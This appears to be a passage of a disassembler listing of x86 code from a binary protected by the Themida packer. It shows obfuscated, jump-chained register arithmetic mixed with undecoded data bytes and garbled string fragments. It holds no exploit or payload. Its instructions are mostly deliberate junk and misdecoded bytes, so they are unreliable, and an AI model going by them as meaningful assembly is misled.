		dd 47A9E95Bh, 0D0290000h, 596CE9h, 4C38100h, 83000000h
		dd 1C8704EBh, 1C895C24h, 6BBF5724h, 8178E652h, 7D7FA0C7h
		dd 0BDEF812Eh, 559F9257h, 89F98951h, 555559CDh,	4A3494BDh
		dd 9D9BE938h, 0E981FFFFh, 7BE117A2h, 0E981D9F7h, 17E1A876h
		dd 24048151h, 55A96E03h, 81242C8Bh, 4C4h, 3B85000h, 0E955A96Eh
		dd 0FFFFD6DDh
; ---------------------------------------------------------------------------


loc_591A9C:				; CODE XREF: Themida_:005929F7j
		pop	edx
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58F091
; ---------------------------------------------------------------------------


loc_591AAC:				; CODE XREF: Themida_:00595B71j
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_58AE9C
; ---------------------------------------------------------------------------


loc_591AC2:				; CODE XREF: Themida_:0059564Dj
		neg	ecx
		jnz	loc_58FD90
		jmp	loc_5934B9
; ---------------------------------------------------------------------------
		db 87h
		dd 835C240Ch, 0FA8A04C4h, 4EC8151h, 89000000h, 4832424h
		dd 2C8B0424h, 4C48324h,	0D6ABF57h, 8EE91A73h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591AF7:				; CODE XREF: Themida_:0059285Ej
		push	ecx
		push	55BB4B17h
		jmp	loc_596C75
; ---------------------------------------------------------------------------


loc_591B02:				; CODE XREF: Themida_:00597818j
		pop	ecx
		inc	eax
		and	eax, 33685107h
		shl	eax, 1
		push	ebx
		mov	ebx, 1FF398Dh
		jmp	loc_59788D
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0EFBBE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591B1E:				; CODE XREF: Themida_:00594CF2j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	0C70CDF98h
		pop	esi
		jmp	loc_58CADA
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 0FFB2F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591B3D:				; CODE XREF: Themida_:0058B561j
					; Themida_:0059559Aj
		dec	edx
		jmp	loc_58F6A0
; ---------------------------------------------------------------------------


loc_591B43:				; CODE XREF: Themida_:00597071j
		push	eax
		mov	ah, ch
		mov	dh, ah
		jmp	loc_58B154
; ---------------------------------------------------------------------------


loc_591B4D:				; CODE XREF: Themida_:00591928j
		sub	ebx, 36D208D2h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_593B4E
; ---------------------------------------------------------------------------


loc_591B5B:				; CODE XREF: Themida_:00596280j
		add	ebp, 586A181Ah
		add	ebp, 1BA2E540h
		add	eax, ebp
		pop	ebp
		pop	esi
		jmp	loc_59518A
; ---------------------------------------------------------------------------
		dd 8704C783h, 0E2E9243Ch, 5FFFFFACh, 5E91C781h,	0C781480Ch
		dd 0B5315109h, 0A6E9FB89h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591B8F:				; CODE XREF: Themida_:0058DFCBj
		add	esp, 4
		jmp	loc_591E6E
; ---------------------------------------------------------------------------


loc_591B9A:				; CODE XREF: Themida_:0058B51Aj
		pop	eax
		jmp	loc_594971
; ---------------------------------------------------------------------------


loc_591BA0:				; CODE XREF: Themida_:005964F1j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 8
		jmp	loc_595C9B
; ---------------------------------------------------------------------------
		db 59h
		dd 48BC301h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_58C397
; ---------------------------------------------------------------------------


loc_591BD6:				; CODE XREF: Themida_:0059367Ej
		push	esi
		mov	esi, 0EF9E425Ah
		mov	edi, esi
		mov	esi, [esp]
		jmp	loc_58FA36
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0E904C683h, 0FFFF96B1h
; ---------------------------------------------------------------------------


loc_591BF4:				; CODE XREF: Themida_:0059365Ej
					; Themida_:00597749j
		push	edi
		mov	edi, 2
		add	ecx, 69122792h
		add	ecx, 752922A3h
		add	ecx, edi
		jmp	loc_58F1ED
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0F2h
		dd 56F2886Ch, 2448BF57h, 90E91702h, 58FFFFD0h, 2D4EBB53h
		dd 0D3F723B3h, 2D51C381h, 0C68123B3h, 30857100h, 5150DE01h
		dd 247D1268h, 0BDE95961h, 0FFFFFC1h, 5BA988h, 6EEE8100h
		dd 81587554h, 5D6ABAC6h, 0E4F6814Ch, 890A0C09h,	0F8315EF7h
		dd 8BC7095Fh, 0C4832404h, 7EFC104h, 492BCF81h, 0EF81256Eh
		dd 0ECEABED8h, 0DAE9F801h, 8900004Ah, 4EC81E1h,	89000000h
		dd 0A5E9242Ch
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591C8F:				; CODE XREF: Themida_:00595047j
		xchg	edx, [esp]
		jmp	loc_58EA29
; ---------------------------------------------------------------------------
aSpsrk		db 'SPιRK',0
		align 2


loc_591C9E:				; CODE XREF: Themida_:00593ED6j
		add	ebx, 0E0C6333h
		pop	edi
		push	eax
		mov	eax, 7E744D80h
		sub	eax, 0C2A0628h
		neg	eax
		neg	eax
		inc	eax
		sub	eax, 6FA30578h
		sub	eax, 0EE4005F2h
		add	ebx, eax
		pop	eax
		push	dword ptr [eax]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_591CC9:				; CODE XREF: Themida_:005913AEj
		mov	ebx, 53D67ECFh
		not	ebx
		or	ebx, 5C2625D5h
		jmp	loc_58B27B
; ---------------------------------------------------------------------------


loc_591CDB:				; CODE XREF: Themida_:00595F4Fj
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_591CE7:				; CODE XREF: Themida_:00593631j
		add	eax, edx
		jmp	loc_58BC67
; ---------------------------------------------------------------------------


loc_591CEE:				; CODE XREF: Themida_:0058C505j
		jnb	loc_593D62
		shr	esi, 5
		jmp	loc_58DA99
; ---------------------------------------------------------------------------
		dd 0BBFB8951h, 49E9299Ah, 71E9D3F7h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591D0B:				; CODE XREF: Themida_:00594B14j
		push	ebx
		mov	ebx, 43781F68h
		xor	eax, ebx
		pop	ebx
		movzx	ax, byte ptr [eax]
		push	small 62D8h
		mov	[esp], ax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_591D25:				; CODE XREF: Themida_:0059253Bj
		mov	[esp], ebp
		xchg	ebp, [esp]
		jmp	loc_5923A5
; ---------------------------------------------------------------------------


loc_591D30:				; CODE XREF: Themida_:0058A4F1j
		inc	esi
		dec	esi
		add	esi, 13442878h
		add	esi, 0E35A7AB1h
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		jmp	loc_5937B2
; ---------------------------------------------------------------------------
aM0S		db '¬0Ψι+*',0
		dd 28F6400h, 0FF856DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591D61:				; CODE XREF: Themida_:0058A8B4j
		mov	ah, 6Eh
		mov	dl, 0A5h
		push	ax
		mov	al, 53h
		add	dl, al
		pop	ax
		sub	dl, ah
		push	ecx
		mov	cl, 4Dh
		jmp	loc_590BC8
; ---------------------------------------------------------------------------
		db 83h
		dd 143304C2h, 24143124h, 5C241433h, 0E99CC885h,	0FFFF8542h
		dd 0C3D2F181h, 0CB29A7F3h, 21B95159h, 411C1716h, 8106E1C1h
		dd 0DB3C92E9h, 66E94935h, 4DFFFFF9h, 0D155800Fh, 0F581FFFFh
		dd 0C8391E51h, 815DE989h, 0DF6AD7E1h, 5F850F34h, 81FFFFBDh
		dd 0A82FFAF1h, 1C1831Fh, 0FFB020E9h, 0FCEFEFFh,	598C80h
		dd 0DEF68000h, 153BE9h,	0E9F13100h, 0FFFFD8F9h
; ---------------------------------------------------------------------------


loc_591DEC:				; CODE XREF: Themida_:0058ED19j
		mov	esi, 40314BC9h
		jmp	loc_58F5C5
; ---------------------------------------------------------------------------


loc_591DF6:				; CODE XREF: Themida_:0058ED3Ej
		sub	[esp+8], ebp
		pop	ebp
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_592A82
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0BFD68C0Fh, 0F681FFFFh, 0D066F37h, 9E118A0Fh, 0EED1FFFFh
		dd 11E95554h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591E27:				; CODE XREF: Themida_:0058B04Cj
		push	esi
		mov	esi, 1AD74E82h
		add	esi, 51EA1558h
		add	esi, 0A111F2FCh
		not	esi
		jmp	loc_58EE3B
; ---------------------------------------------------------------------------
		dd 621ECB81h, 8D0F1CB7h, 1700h,	59F26852h, 148B0E91h, 60D9E924h
		dd 77FF0000h, 58669D1Ch, 9C240410h, 0FF8465E9h,	8460E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591E6E:				; CODE XREF: Themida_:00591B95j
		add	esp, 4
		shl	ebp, 6
		shl	ebp, 7
		or	ebp, 682E6ACDh
		sub	ebp, 0FE68AA1Ah
		xor	esi, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_58B596
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 0F4h
		dd 0C114E83Eh, 0EE8108E6h, 1D327C24h, 27D8F681h, 0F5E94B00h
		dd 1FFFF98h, 5E042474h,	50CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_591EB5:				; CODE XREF: Themida_:0058D253j
		mov	edi, edx
		pop	edx
		add	ebx, edi
		jmp	loc_58FCB2
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFDEDC84h, 27CB81FFh, 0F3D7647h, 39868Ah, 3AEB8100h
		dd 88CF1CFBh
		db 0C6h, 8Bh, 0C2h
; ---------------------------------------------------------------------------


loc_591EDB:				; CODE XREF: Themida_:00592717j
		pop	edi
		add	esp, 4
		jmp	loc_594131
; ---------------------------------------------------------------------------
		db 5Bh
		dd 34FFD031h, 0D9E95A24h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591EF3:				; CODE XREF: Themida_:005949AAj
		push	small 3638h
		jmp	loc_58A890
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4BB5300h, 1000000h,	3C875BDFh, 1E95C24h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591F17:				; CODE XREF: Themida_:0058C572j
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_58AF1A
; ---------------------------------------------------------------------------
		dw 483h
		dd 0A3E90424h, 8BFFFF83h, 0E9562434h, 518Bh
; ---------------------------------------------------------------------------


loc_591F34:				; CODE XREF: Themida_:0058E7EBj
		btr	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF8389E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591F45:				; CODE XREF: Themida_:0058CDF0j
		mov	ecx, 57BE5F7Bh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_592DDC
; ---------------------------------------------------------------------------


loc_591F52:				; CODE XREF: Themida_:005936A1j
		mov	esi, 144E51C9h
		add	edx, esi
		pop	esi
		add	edx, 672B404Bh
		jmp	loc_58D3C6
; ---------------------------------------------------------------------------


loc_591F65:				; CODE XREF: Themida_:00595CAEj
		add	esp, 4
		push	ecx
		jmp	loc_595CDB
; ---------------------------------------------------------------------------


loc_591F71:				; CODE XREF: Themida_:0058EF84j
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		mul	cx
		jmp	loc_58AD5E
; ---------------------------------------------------------------------------


loc_591F80:				; CODE XREF: Themida_:0058F549j
		push	edx
		push	esp
		pop	edx
		push	9DBh
		mov	[esp], ecx
		jmp	loc_58DDC1
; ---------------------------------------------------------------------------
		dd 8105E2C1h, 0E5FBE4F2h, 5AD701BBh, 2C781h, 8F680000h
		dd 8900000Ah, 74FF243Ch, 5E90424h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591FB3:				; CODE XREF: Themida_:00594F05j
		inc	ecx
		jge	loc_597AD5
		and	ecx, 2193139h
		ja	loc_592140
		jmp	loc_5906B4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF98AEh
; ---------------------------------------------------------------------------


loc_591FD0:				; CODE XREF: Themida_:0059203Cj
		shl	ecx, 6
		js	loc_58AD53
		sub	ecx, 0BB2A04F5h
		jmp	loc_58D05B
; ---------------------------------------------------------------------------
		dd 54C48850h
; ---------------------------------------------------------------------------


loc_591FE8:				; CODE XREF: Themida_:0058DA59j
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		jmp	loc_58B531
; ---------------------------------------------------------------------------


loc_591FF5:				; CODE XREF: Themida_:0058D60Dj
		neg	ecx
		push	ebp
		jmp	loc_59710A
; ---------------------------------------------------------------------------


loc_591FFD:				; CODE XREF: Themida_:0058F7B7j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 31h,	0D9h, 5Bh
		dd 0E789E981h, 0C831E2CCh, 0FFFB9AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592019:				; CODE XREF: Themida_:0058C08Bj
		add	esp, 4
		push	ecx
		jmp	loc_594B5E
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 4F66FD4h, 4225E9h, 86E95F00h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592033:				; CODE XREF: Themida_:0058B4EEj
		add	edi, eax
		push	eax
		jmp	loc_58CEC2
; ---------------------------------------------------------------------------


loc_59203B:				; CODE XREF: Themida_:loc_58B095j
		inc	ecx
		jg	loc_591FD0
		shl	ecx, 6
		js	loc_58E019
		sub	ecx, 0BB2A04F5h
		push	ecx
		add	dword ptr [esp], 6DD019Bh


loc_592059:				; CODE XREF: Themida_:00593EFBj
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 2
		jmp	loc_58B046
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8904EC83h, 5A542414h, 4C281h, 0EA810000h, 4,	5C241487h
		dd 0FFE8DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592085:				; CODE XREF: Themida_:005961A6j
		not	dh
		not	dh
		shr	dh, 6
		jmp	loc_58D852
; ---------------------------------------------------------------------------


loc_592091:				; CODE XREF: Themida_:0058FF85j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	ecx
		jmp	loc_594936
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 89000000h,	0E189240Ch, 0DB16855h, 78E90000h
		dd 83FFFFA4h, 25E904C4h, 33FFFFE5h, 248B242Ch, 0AB0F6624h
		dd 0E99C2404h, 0FFFF81FAh
; ---------------------------------------------------------------------------


loc_5920D4:				; CODE XREF: Themida_:00597A7Bj
		add	eax, 4
		push	esi
		push	ecx
		jmp	loc_58BF07
; ---------------------------------------------------------------------------
		dd 4C481h, 0A30F0000h, 0E99C2404h, 13C4h
; ---------------------------------------------------------------------------


loc_5920F0:				; CODE XREF: Themida_:00593B15j
		add	esi, 4
		jmp	loc_58CCFB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0E3E95824h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592107:				; CODE XREF: Themida_:0058C398j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_58F2A6
; ---------------------------------------------------------------------------
		dd 24048F5Bh, 8324248Bh, 43104C4h, 0F9E99C24h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592127:				; CODE XREF: Themida_:0058E072j
		or	eax, eax
		jnz	loc_592857
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_58A8E2
; ---------------------------------------------------------------------------


loc_592139:				; CODE XREF: Themida_:00595A89j
		and	eax, ecx
		jmp	loc_58D497
; ---------------------------------------------------------------------------


loc_592140:				; CODE XREF: Themida_:00591FC0j
		jmp	loc_592420
; ---------------------------------------------------------------------------


loc_592145:				; CODE XREF: Themida_:005905FBj
		add	edi, 4
		jmp	loc_5938BF
; ---------------------------------------------------------------------------


loc_592150:				; CODE XREF: Themida_:0058B370j
					; Themida_:00593805j
		push	ecx
		push	eax
		push	58770C6h
		jmp	loc_5957F7
; ---------------------------------------------------------------------------


loc_59215C:				; CODE XREF: Themida_:005934D3j
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58BBFA
; ---------------------------------------------------------------------------


loc_59216A:				; CODE XREF: Themida_:005967BDj
		mov	ecx, 5C923D83h
		shl	ecx, 6
		not	ecx
		xor	ecx, 3BE83E8Fh
		dec	ecx
		add	ecx, 584484A1h
		or	eax, ecx
		pop	ecx
		add	eax, 0FA189E8Dh
		add	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		jmp	loc_58A4BD
; ---------------------------------------------------------------------------
		dd 4240481h, 0E9000000h, 0FFFFBE55h, 276AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5921A6:				; CODE XREF: Themida_:0059482Dj
		xor	edi, 7B9C1521h
		jmp	loc_59774E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4BE56h, 74010000h, 348B0424h, 4C48124h, 0FF000000h
		dd 148B2434h, 4C48124h,	0E9000000h, 0FFFFCB96h
; ---------------------------------------------------------------------------


loc_5921D8:				; CODE XREF: Themida_:0059170Cj
					; Themida_:00597D0Ej
		push	ebx
		push	36CCh
		mov	[esp], eax
		push	ebx
		jmp	loc_58D52E
; ---------------------------------------------------------------------------


loc_5921E7:				; CODE XREF: Themida_:0058FB89j
		add	bl, dh
		jmp	loc_591121
; ---------------------------------------------------------------------------
aHbz		db '[hZ',0
		align 4
		dd 0FF240C89h, 8B042474h, 0C483240Ch, 24048F04h, 2404895Ch
		dd 0FF80C1E9h, 2EAC1FFh, 0B41A8B0Fh, 0E2C1FFFFh, 0B9E28103h
		dd 0F263F73h, 5328Fh, 0FFC4E900h, 0CD89FFFFh
		db 59h,	50h, 55h
; ---------------------------------------------------------------------------


loc_59222F:				; CODE XREF: Themida_:005908A4j
		pop	ebx
		sub	esi, 11E680AFh
		push	esi
		push	edi
		mov	edi, 5DB64E91h
		xor	[esp+4], edi
		pop	edi
		jmp	loc_58A5E4
; ---------------------------------------------------------------------------


loc_592247:				; CODE XREF: Themida_:00593750j
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	eax
		jmp	loc_58FB47
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 34h
		dd 0E968D063h, 0FFFFAB13h
; ---------------------------------------------------------------------------


loc_592268:				; CODE XREF: Themida_:005945C2j
		shl	esi, 3
		jmp	loc_58EDDF
; ---------------------------------------------------------------------------


loc_592270:				; CODE XREF: Themida_:005906B5j
		mov	ecx, 0A5A385F0h
		sub	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 13057644h
		neg	esi
		add	esi, 15580F43h
		and	esi, 3C8C0101h
		add	esi, 448A36A7h
		add	esi, 0A773073h
		jmp	loc_595B88
; ---------------------------------------------------------------------------


loc_59229D:				; CODE XREF: Themida_:0058F72Aj
		mov	al, 69h
		add	al, 0D7h
		push	ebx
		jmp	loc_58C7ED
; ---------------------------------------------------------------------------


loc_5922A7:				; CODE XREF: Themida_:0058F0A5j
		and	edi, 21CE4626h
		jmp	loc_58C5E8
; ---------------------------------------------------------------------------


loc_5922B2:				; CODE XREF: Themida_:0058D2F4j
		pop	edx
		jmp	loc_58F0E7
; ---------------------------------------------------------------------------
		dd 0B31E9h, 81E68900h, 4C6h, 4C68300h, 2474FF56h, 48F5E04h
		dd 24248B24h, 8B2434FFh, 0E952240Ch, 4CC2h
; ---------------------------------------------------------------------------


loc_5922E0:				; CODE XREF: Themida_:005910B4j
		push	edx
		jmp	loc_591400
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 54A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5922F1:				; CODE XREF: Themida_:005906C5j
		add	edx, ecx
		sub	edx, 43F67A21h
		pop	ecx
		jmp	loc_58C252
; ---------------------------------------------------------------------------


loc_5922FF:				; CODE XREF: Themida_:00593F26j
		sub	edi, 6E3D65DFh
		mov	esi, [esp]
		push	ecx
		jmp	loc_594E3C
; ---------------------------------------------------------------------------


loc_59230E:				; CODE XREF: Themida_:005904AFj
		pop	eax
		inc	edx
		and	edx, 5C99655Ah
		or	edx, 63844BA5h
		jmp	loc_59245E
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 489665Ch, 2DEFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59232E:				; CODE XREF: Themida_:0058E3B7j
		neg	ebp
		jg	loc_5931C5
		jmp	loc_5919DA
; ---------------------------------------------------------------------------


loc_59233B:				; CODE XREF: Themida_:0059246Cj
		pop	ecx
		add	ebx, 0A285F659h
		add	edi, ebx
		jmp	loc_595CEB
; ---------------------------------------------------------------------------


loc_592349:				; CODE XREF: Themida_:00590950j
		pop	ebp
		push	ebx
		mov	ebx, 712739FFh
		not	ebx
		add	ebx, 2A7F1478h
		xor	ebx, 6B3733A7h
		xor	ebx, 56E93B97h
		jmp	loc_597DA6
; ---------------------------------------------------------------------------
		db 0Fh,	84h, 14h
		dd 66000014h, 0EEBE6656h, 0F509663Eh, 24348B66h, 81E28952h
		dd 4C2h, 2C28300h, 0FFEC9CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59238D:				; CODE XREF: Themida_:0058D949j
		xor	eax, 0AB938BD1h
		add	ebx, eax
		jmp	loc_59407D
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C1h
		dd 240C8704h, 0FFA616E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5923A5:				; CODE XREF: Themida_:00591D2Bj
		not	ebp
		jmp	loc_59307D
; ---------------------------------------------------------------------------


loc_5923AC:				; CODE XREF: Themida_:0059581Cj
		push	148663BDh
		pop	ebx
		shr	ebx, 8
		js	loc_58E80A
		inc	ebx
		jmp	loc_592553
; ---------------------------------------------------------------------------


loc_5923C1:				; CODE XREF: Themida_:0058FD34j
		mov	[esp], ebx
		mov	bh, dl
		jmp	loc_594FD6
; ---------------------------------------------------------------------------


loc_5923CB:				; CODE XREF: Themida_:0058FA22j
					; Themida_:00595936j
		add	ebx, 4
		jmp	loc_58EB3C
; ---------------------------------------------------------------------------


loc_5923D6:				; CODE XREF: Themida_:00595594j
		jmp	loc_5903AB
; ---------------------------------------------------------------------------


loc_5923DB:				; CODE XREF: Themida_:00594AB8j
		shr	ecx, 4
		neg	ecx
		jmp	loc_58F180
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4EAh, 24143300h, 33241431h, 68E92414h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5923FF:				; CODE XREF: Themida_:0058F672j
		add	ebx, 5B063CD3h
		pop	dword ptr [eax]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59240C:				; CODE XREF: Themida_:0058C2DAj
		sub	eax, 79E7A6F2h
		jmp	loc_594B8D
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0E9E78924h, 0FFFF83F1h
; ---------------------------------------------------------------------------


loc_592420:				; CODE XREF: Themida_:loc_592140j
		neg	ecx
		jmp	loc_5933C2
; ---------------------------------------------------------------------------


loc_592427:				; CODE XREF: Themida_:00597171j
		add	esp, 4
		jmp	loc_595123
; ---------------------------------------------------------------------------


loc_59242F:				; CODE XREF: Themida_:00594CD5j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59658E
; ---------------------------------------------------------------------------


loc_592438:				; CODE XREF: Themida_:0058F48Dj
		push	edx
		mov	edx, 655A4E46h
		add	edi, edx
		pop	edx
		jmp	loc_58F755
; ---------------------------------------------------------------------------


loc_592446:				; CODE XREF: Themida_:0058C15Bj
		push	ecx
		push	48B010A4h
		pop	ecx
		push	edi
		mov	edi, 0
		sub	edi, ecx
		mov	ecx, edi
		pop	edi
		push	edx
		jmp	loc_5959BE
; ---------------------------------------------------------------------------


loc_59245E:				; CODE XREF: Themida_:0059231Cj
		sub	edx, 3E9DDC3Ch
		jmp	loc_596BF4
; ---------------------------------------------------------------------------


loc_592469:				; CODE XREF: Themida_:0058F71Bj
		pop	ebp
		xor	ebx, ecx
		jmp	loc_59233B
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 4C6815Ch, 55000000h,	0D31473BDh, 2DF5812Ch, 0E9042B59h
		dd 715h
; ---------------------------------------------------------------------------


loc_59248C:				; CODE XREF: Themida_:0058BF62j
		sub	esi, 5ACA016Ah
		inc	esi
		jmp	loc_58C208
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6810000h, 2, 0FFEC1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5924A9:				; CODE XREF: Themida_:0059169Dj
		add	esi, 0D194B405h
		or	ebp, esi
		pop	esi
		push	edx
		mov	edx, 1FCB5FC4h
		and	ebp, edx
		pop	edx
		shr	ebp, 4
		xchg	edi, ebp
		jmp	loc_594880
; ---------------------------------------------------------------------------


loc_5924C5:				; CODE XREF: Themida_:00596028j
		shl	ebx, 1
		neg	ebx
		push	edi
		mov	edi, 5A5CC5BEh
		add	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, ebx
		mov	edx, ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 0CFB4AA84h
		sub	ebp, 73D35964h
		add	ebp, 7C8E55B7h
		add	ebp, edx
		sub	ebp, 7C8E55B7h
		add	ebp, 73D35964h
		jmp	loc_58C4ED
; ---------------------------------------------------------------------------


loc_592503:				; CODE XREF: Themida_:005901FEj
		xor	ebp, 81576044h
		and	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_58FD7A
; ---------------------------------------------------------------------------


loc_592513:				; CODE XREF: Themida_:0059064Cj
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_591D25
; ---------------------------------------------------------------------------


loc_592540:				; CODE XREF: Themida_:00593948j
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_590D69
; ---------------------------------------------------------------------------


loc_592553:				; CODE XREF: Themida_:005923BCj
		jle	loc_591130
		push	ebp
		mov	ebp, 148664h
		sub	ebx, ebp
		pop	ebp
		mov	ebp, ebx
		pop	ebx
		add	ebp, 0F8F058Eh
		sub	ebp, edi
		jmp	loc_59042B
; ---------------------------------------------------------------------------


loc_592572:				; CODE XREF: Themida_:0058EB5Fj
					; Themida_:00591872j
		pop	edx
		push	edi
		push	eax
		mov	eax, 647E154Ch
		mov	edi, eax
		pop	eax
		not	edi
		sub	edi, 3335468Dh
		jmp	loc_59508A
; ---------------------------------------------------------------------------


loc_59258A:				; CODE XREF: Themida_:0058CB2Cj
		add	ebx, edx
		jmp	loc_58F12F
; ---------------------------------------------------------------------------


loc_592591:				; CODE XREF: Themida_:0058F278j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp


loc_59259A:				; CODE XREF: Themida_:0058CA09j
					; Themida_:0059670Ej
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 23DB00BFh
		sub	edi, 49EB3854h
		push	eax
		mov	eax, 26103799h
		add	edi, eax
		pop	eax
		jmp	loc_58ED18
; ---------------------------------------------------------------------------


loc_5925C3:				; CODE XREF: Themida_:00590FEFj
		sub	edi, 122B1960h
		xor	edi, edx
		xor	edx, edi
		jmp	loc_5912D7
; ---------------------------------------------------------------------------
aIFzsb		db 'ˆΧfZιb%',0
		dw 0F700h
		dd 0D3F381DBh, 812B2B3Dh, 0D4C678F3h, 64C781C7h, 0E951BE22h
		dd 0FFFFC797h, 0CBFE5966h, 43E9DBF6h, 83000003h, 2BE904C4h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592607:				; CODE XREF: Themida_:0058D529j
		mov	ebp, 41C1056Bh
		add	ebp, 0ED2B07FCh
		sub	ebx, ebp
		pop	ebp
		shr	ebx, 7
		add	ebx, 0D0A0E80h
		add	ebx, 0F2B08118h
		jmp	loc_58C4F8
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 2708BB53h, 0D3F7519Ah, 0D8F5EB81h, 45E9AE65h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59263F:				; CODE XREF: Themida_:0058EDC4j
		xor	esi, eax
		pop	eax
		sub	edx, esi
		pop	esi
		add	edx, eax
		add	edx, 368B01B5h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ecx
		push	ebx
		sub	esp, 4
		jmp	loc_591170
; ---------------------------------------------------------------------------


loc_592661:				; CODE XREF: Themida_:0058D521j
		pop	ebp
		not	eax
		shr	eax, 3
		push	ebx
		mov	ebx, 366134DEh
		shr	ebx, 1
		xor	ebx, 3A3E6FC1h
		sub	ebx, 3D300764h
		add	eax, ebx
		jmp	loc_5910BF
